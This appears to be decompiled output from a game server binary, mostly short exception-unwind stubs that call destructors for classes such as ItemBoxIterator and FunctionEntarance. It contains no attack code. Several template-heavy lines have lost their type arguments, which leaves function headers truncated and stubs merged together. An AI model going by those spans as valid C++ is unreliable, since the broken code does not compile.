void __usercall _L212913(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 824)); } //----- (006202EB) -------------------------------------------------------- void __usercall _L212914(int a1) { PineEventScriptNode::ScriptParameterPaser::_ScriptParameterPaser((PineEventScriptNode::ScriptParameterPaser *)(a1 - 736)); } //----- (006202F6) -------------------------------------------------------- void __usercall _L212915(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 808)); } //----- (00620301) -------------------------------------------------------- void __usercall _L212916(int a1) { FieldMap::_FieldMap(a1 - 440); } //----- (0062030C) -------------------------------------------------------- void __usercall _L212917(int a1) { std::_Tree_nod_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Node::__Node((std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 808)); } //----- (0062033B) -------------------------------------------------------- void __usercall _L214082(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 696)); } //----- (00620346) -------------------------------------------------------- void __usercall _L214083(int a1) { FieldMap::_FieldMap(a1 - 440); } //----- (00620351) -------------------------------------------------------- void __usercall _L214084(int a1) { AxialListBanArea::_AxialListBanArea((AxialListBanArea *)(a1 - 744)); } //----- (00620370) -------------------------------------------------------- void __usercall _L214388(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (00620378) -------------------------------------------------------- void __usercall _L214389(int a1) { AxialListRevival::_AxialListRevival((AxialListRevival *)(a1 - 32)); } //----- (00620390) -------------------------------------------------------- void __usercall _L214997(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 276)); } //----- (0062039B) -------------------------------------------------------- void __usercall _L214998(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (006203C0) -------------------------------------------------------- void __usercall _L175158(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 16)); } //----- (006203E0) -------------------------------------------------------- void __usercall _L175930(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00620400) -------------------------------------------------------- void __usercall _L167406_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00620420) -------------------------------------------------------- void __usercall _L180957(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (00620440) -------------------------------------------------------- void __usercall _L180607(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00620460) -------------------------------------------------------- void __usercall _L181046_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (00620480) -------------------------------------------------------- void __usercall _L180413(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 52)); } //----- (006204A0) -------------------------------------------------------- void __usercall _L180296(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 44)); } //----- (006204C0) -------------------------------------------------------- void __usercall _L180266(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (006204E0) -------------------------------------------------------- void __usercall _L180857(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 404)); } //----- (006204EB) -------------------------------------------------------- void __usercall _L180858(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 464)); } //----- (00620500) -------------------------------------------------------- void __usercall _L182658(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (00620520) -------------------------------------------------------- void __usercall _L184472(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 68)); } //----- (00620568) -------------------------------------------------------- void __usercall _L185218_0(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 52)); } //----- (00620598) -------------------------------------------------------- void __usercall _L186256(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut(*(DiceTaiSaiDividind **)(a1 - 272)); } //----- (006205F0) -------------------------------------------------------- void __usercall _L178386(int a1) { PineScriptStack::ProcessStack::_ProcessStack((PineScriptStack::ProcessStack *)(*(_DWORD *)(a1 - 16) + 8)); } //----- (006205FB) -------------------------------------------------------- void __usercall _L178387(int a1) { ScriptInterrupt::ScriptInterruptManager::_ScriptInterruptManager((ScriptInterrupt::ScriptInterruptManager *)(*(_DWORD *)(a1 - 16) + 66124)); } //----- (00620620) -------------------------------------------------------- void __usercall _L178689(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 152)); } //----- (0062062B) -------------------------------------------------------- void __usercall _L178690(int a1) { operator delete(*(void **)(a1 - 148)); } //----- (00620650) -------------------------------------------------------- void __usercall _L178751(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 276)); } //----- (0062065B) -------------------------------------------------------- void __usercall _L178752(int a1) { operator delete(*(void **)(a1 - 280)); } //----- (00620680) -------------------------------------------------------- void __usercall _L182442(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (006206A0) -------------------------------------------------------- void __usercall _L180461(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (006206A8) -------------------------------------------------------- void __usercall _L180462(int a1) { _eh_vector_destructor_iterator_( (void *)(*(_DWORD *)(a1 - 16) + 24), 0x108u, 8, (void (__thiscall *)(void *))Movie::FilmCase::_FilmCase); } //----- (006206C1) -------------------------------------------------------- void __usercall _L180463(int a1) { _eh_vector_destructor_iterator_( (void *)(*(_DWORD *)(a1 - 16) + 2136), 0x12DF4u, 8, (void (__thiscall *)(void *))Movie::LuaFilm::_LuaFilm); } //----- (006206F0) -------------------------------------------------------- void __usercall _L178989_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (006206F8) -------------------------------------------------------- void __usercall _L178990_0(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00620710) -------------------------------------------------------- void __usercall _L179060(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (00620718) -------------------------------------------------------- void __usercall _L179061(int a1) { LuaScriptArgument::LuaArgumentNPCMenu::_LuaArgumentNPCMenu((LuaScriptArgument::LuaArgumentNPCMenu *)(a1 - 28)); } //----- (00620730) -------------------------------------------------------- void __usercall _L179297(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00620750) -------------------------------------------------------- void __usercall _L179771(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 36)); } //----- (00620770) -------------------------------------------------------- void __usercall _L179887(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (00620778) -------------------------------------------------------- void __usercall _L179898(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00620790) -------------------------------------------------------- void __usercall _L179959(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 284)); } //----- (0062079B) -------------------------------------------------------- void __usercall _L179960(int a1) { Movie::FilmCase::_FilmCase((Movie::FilmCase *)(a1 - 280)); } //----- (006207B0) -------------------------------------------------------- void __usercall _L180503(int a1) { Movie::FilmCase::_FilmCase((Movie::FilmCase *)(a1 - 280)); } //----- (006207BB) -------------------------------------------------------- void __usercall _L180504(int a1) { LuaScriptArgument::LuaArgumentNPCMenu::_LuaArgumentNPCMenu((LuaScriptArgument::LuaArgumentNPCMenu *)(a1 - 296)); } //----- (006207D0) -------------------------------------------------------- void __usercall _L180522(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 532)); } //----- (006207DB) -------------------------------------------------------- void __usercall _L180523(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 528)); } //----- (006207E6) -------------------------------------------------------- void __usercall _L180524(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (00620800) -------------------------------------------------------- void __usercall _L182150(int a1) { std::vector>::_vector>(*(std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 272)); } //----- (00620840) -------------------------------------------------------- void __usercall _L181594(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (00620860) -------------------------------------------------------- void __usercall _L182767(int a1) { OptionReader::_OptionReader((OptionReader *)(a1 - 67684)); } //----- (00620880) -------------------------------------------------------- void __usercall _L181070(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (006208A0) -------------------------------------------------------- void __usercall _L180085(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (006208C0) -------------------------------------------------------- void __usercall _L178399(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (006208C8) -------------------------------------------------------- void __usercall _L178400(int a1) { AxialListMobCounter::_AxialListMobCounter((AxialListMobCounter *)(a1 - 36)); } //----- (006208E0) -------------------------------------------------------- void __usercall _L178808(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (00620900) -------------------------------------------------------- void __usercall _L178941(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 272)); } //----- (00620920) -------------------------------------------------------- void __usercall _L179068(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00620928) -------------------------------------------------------- void __usercall _L179069(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 20)); } //----- (00620940) -------------------------------------------------------- void __usercall _L179521(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00620960) -------------------------------------------------------- void __usercall _L180148(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 280)); } //----- (00620980) -------------------------------------------------------- void __usercall _L180231(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 292)); } //----- (006209A0) -------------------------------------------------------- void __usercall _L182268(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (006209C0) -------------------------------------------------------- int __cdecl _L183126() { int result; // eax@1 result = __S1__1__GetInstance_ScriptInterruptRegisterManager_ScriptInterrupt__SAAAV23_XZ_4IA & 0xFFFFFFFE; __S1__1__GetInstance_ScriptInterruptRegisterManager_ScriptInterrupt__SAAAV23_XZ_4IA &= 0xFFFFFFFEu; return result; } // 130A5AB8: using guessed type int ?$S1_?1??GetInstance_ScriptInterruptRegisterManager_ScriptInterrupt__SAAAV23_XZ_4IA; //----- (006209E0) -------------------------------------------------------- void __usercall _L178576(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00620A00) -------------------------------------------------------- void __usercall _L176219(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (00620A08) -------------------------------------------------------- void __usercall _L176220(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00620A10) -------------------------------------------------------- void __usercall _L176221(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00620A30) -------------------------------------------------------- void __usercall _L176301(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 132)); } //----- (00620A50) -------------------------------------------------------- void __usercall _L176367(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 132)); } //----- (00620A5B) -------------------------------------------------------- void __usercall _L176368(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 164)); } //----- (00620A70) -------------------------------------------------------- void __usercall _L177053(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00620A90) -------------------------------------------------------- void __usercall _L176577(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (00620AB0) -------------------------------------------------------- void __usercall _L176641(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (00620AD0) -------------------------------------------------------- void __usercall _L176750(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (00620AD8) -------------------------------------------------------- void __usercall _L176751(int a1) { LuaScriptArgument::LuaArgumentNPCMenu::_LuaArgumentNPCMenu((LuaScriptArgument::LuaArgumentNPCMenu *)(a1 - 36)); } //----- (00620AF0) -------------------------------------------------------- void __usercall _L176988(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 124)); } //----- (00620B10) -------------------------------------------------------- void __usercall _L177123(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 44)); } //----- (00620B18) -------------------------------------------------------- void __usercall _L177124(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 28)); } //----- (00620B30) -------------------------------------------------------- void __usercall _L166164(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (00620B50) -------------------------------------------------------- void __usercall _L166481(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00620B70) -------------------------------------------------------- void __usercall _L166418(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (00620B78) -------------------------------------------------------- void __usercall _L166419(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 28)); } //----- (00620B90) -------------------------------------------------------- void __usercall _L179533(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00620BB0) -------------------------------------------------------- void __usercall _L179872(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 132)); } //----- (00620BBB) -------------------------------------------------------- void __usercall _L179873(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 148)); } //----- (00620BD0) -------------------------------------------------------- void __usercall _L181599(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00620BF0) -------------------------------------------------------- void __usercall _L181135(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 24)); } //----- (00620C10) -------------------------------------------------------- void __usercall _L181656(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 44)); } //----- (00620C18) -------------------------------------------------------- void __usercall _L181657(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 28)); } //----- (00620C30) -------------------------------------------------------- void __usercall _L182296(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00620C50) -------------------------------------------------------- void __usercall _L180290(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 132)); } //----- (00620C70) -------------------------------------------------------- void __usercall _L180436(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 168)); } //----- (00620C90) -------------------------------------------------------- void __usercall _L180995(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 312)); } //----- (00620C9B) -------------------------------------------------------- void __usercall _L180996(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 292)); } //----- (00620CA6) -------------------------------------------------------- void __usercall _L180997(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 308)); } //----- (00620CC0) -------------------------------------------------------- void __usercall _L181298_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 160)); } //----- (00620CE0) -------------------------------------------------------- void __usercall _L181529(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 288)); } //----- (00620D00) -------------------------------------------------------- void __usercall _L181708(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (00620D20) -------------------------------------------------------- void __usercall _L182183(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 72)); } //----- (00620D28) -------------------------------------------------------- void __usercall _L182184(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 68)); } //----- (00620D40) -------------------------------------------------------- void __usercall _L185082_0(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 44)); } //----- (00620D60) -------------------------------------------------------- void __usercall _L186059(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 56)); } //----- (00620D80) -------------------------------------------------------- void __usercall _L185874(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 84)); } //----- (00620DA0) -------------------------------------------------------- void __usercall _L177178(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 132)); } //----- (00620DAB) -------------------------------------------------------- void __usercall _L177179(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 164)); } //----- (00620DC0) -------------------------------------------------------- void __usercall _L178282(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00620DE0) -------------------------------------------------------- void __usercall _L177531(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 132)); } //----- (00620DEB) -------------------------------------------------------- void __usercall _L177532(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 148)); } //----- (00620E00) -------------------------------------------------------- void __usercall _L177805(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 104)); } //----- (00620E08) -------------------------------------------------------- void __usercall _L177807(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 72)); } //----- (00620E10) -------------------------------------------------------- void __usercall _L177808_0(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 56)); } //----- (00620E30) -------------------------------------------------------- void __usercall _L178398(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 72)); } //----- (00620E38) -------------------------------------------------------- void __usercall _L178399_0(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 56)); } //----- (00620E50) -------------------------------------------------------- void __usercall _L177515(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00620E70) -------------------------------------------------------- void __usercall _L176856(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 32)); } //----- (00620E90) -------------------------------------------------------- void __usercall _L176934(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 132)); } //----- (00620E9B) -------------------------------------------------------- void __usercall _L176935(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 152)); } //----- (00620EB0) -------------------------------------------------------- void __usercall _L177217(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (00620EB8) -------------------------------------------------------- void __usercall _L177218(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 32)); } //----- (00620ED0) -------------------------------------------------------- void __usercall _L177417(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 44)); } //----- (00620ED8) -------------------------------------------------------- void __usercall _L177418(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 28)); } //----- (00620EF0) -------------------------------------------------------- void __usercall _L177561(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 132)); } //----- (00620F10) -------------------------------------------------------- void __usercall _L176503(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00620F30) -------------------------------------------------------- void __usercall _L176076(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 276)); } //----- (00620F3B) -------------------------------------------------------- void __usercall _L176077(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 296)); } //----- (00620F46) -------------------------------------------------------- void __usercall _L176078(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 312)); } //----- (00620F60) -------------------------------------------------------- void __usercall _L176384(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 8624)); } //----- (00620F6B) -------------------------------------------------------- void __cdecl _L176386() { ItemDismantleProducer::_ItemDismantleProducer(); } //----- (00620F80) -------------------------------------------------------- void __usercall _L177173(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00620FA0) -------------------------------------------------------- void __usercall _L176476(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 144)); } //----- (00620FC0) -------------------------------------------------------- void __usercall _L176594(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (00620FE0) -------------------------------------------------------- void __usercall _L177044(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00621000) -------------------------------------------------------- void __usercall _L177423(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 60)); } //----- (00621008) -------------------------------------------------------- void __usercall _L177424(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 28)); } //----- (00621020) -------------------------------------------------------- void __usercall _L177554(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 320)); } //----- (0062102B) -------------------------------------------------------- void __usercall _L177556(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 260)); } //----- (00621040) -------------------------------------------------------- void __usercall _L177938(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00621060) -------------------------------------------------------- void __usercall _L178183(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00621080) -------------------------------------------------------- void __usercall _L178752_0(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (006210A0) -------------------------------------------------------- void __usercall _L178723(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (006210C0) -------------------------------------------------------- void __usercall _L178220(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 1024)); } //----- (006210CB) -------------------------------------------------------- void __usercall _L178221(int a1) { TreasureChestMaker::_TreasureChestMaker((TreasureChestMaker *)(a1 - 1020)); } //----- (006210E0) -------------------------------------------------------- void __usercall _L178655(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00621100) -------------------------------------------------------- void __usercall _L177314(int a1) { AxialListPacketBroadcast4ItemPickUp::_AxialListPacketBroadcast4ItemPickUp((AxialListPacketBroadcast4ItemPickUp *)(a1 - 24)); } //----- (00621120) -------------------------------------------------------- void __usercall _L177575(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (00621128) -------------------------------------------------------- void __usercall _L177576_0(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 28)); } //----- (00621140) -------------------------------------------------------- void __usercall _L179238(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00621160) -------------------------------------------------------- void __usercall _L177783(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 56)); } //----- (00621180) -------------------------------------------------------- void __usercall _L177947(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 180)); } //----- (006211A0) -------------------------------------------------------- void __usercall _L178093(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 52)); } //----- (006211A8) -------------------------------------------------------- void __usercall _L178094(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 32)); } //----- (006211C0) -------------------------------------------------------- void __usercall _L179129(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 280)); } //----- (006211E0) -------------------------------------------------------- void __usercall _L179395(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 184)); } //----- (00621200) -------------------------------------------------------- void __usercall _L181914(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 48)); } //----- (00621220) -------------------------------------------------------- void __usercall _L179402(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 132)); } //----- (00621240) -------------------------------------------------------- void __usercall _L179647(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 256)); } //----- (00621260) -------------------------------------------------------- void __usercall _L182498(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00621280) -------------------------------------------------------- void __usercall _L180701(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 64)); } //----- (00621288) -------------------------------------------------------- void __usercall _L180702(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 60)); } //----- (006212A0) -------------------------------------------------------- void __usercall _L180786(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (006212A8) -------------------------------------------------------- void __usercall _L180787(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 20)); } //----- (006212C0) -------------------------------------------------------- void __usercall _L180875(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 80)); } //----- (006212C8) -------------------------------------------------------- void __usercall _L180876(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 64)); } //----- (006212E0) -------------------------------------------------------- void __usercall _L181140(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 176)); } //----- (00621300) -------------------------------------------------------- void __usercall _L181333(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 120)); } //----- (00621308) -------------------------------------------------------- void __usercall _L181334(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 124)); } //----- (00621310) -------------------------------------------------------- void __usercall _L181335(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 64)); } //----- (00621330) -------------------------------------------------------- void __usercall _L181681(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 468)); } //----- (00621350) -------------------------------------------------------- void __usercall _L182099(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 28)); } //----- (00621370) -------------------------------------------------------- void __usercall _L182628(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 60)); } //----- (00621390) -------------------------------------------------------- void __usercall _L177565(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (006213B0) -------------------------------------------------------- void __usercall _L177247(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 136)); } //----- (006213D0) -------------------------------------------------------- void __usercall _L177360_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (006213F0) -------------------------------------------------------- void __usercall _L176339(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00621410) -------------------------------------------------------- void __usercall _L176445_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 304)); } //----- (00621430) -------------------------------------------------------- void __usercall _L176722(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 48)); } //----- (00621438) -------------------------------------------------------- void __usercall _L176723(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 28)); } //----- (00621440) -------------------------------------------------------- void __usercall _L176724(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 28)); } //----- (00621450) -------------------------------------------------------- void __usercall _L176726(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 44)); } //----- (00621470) -------------------------------------------------------- 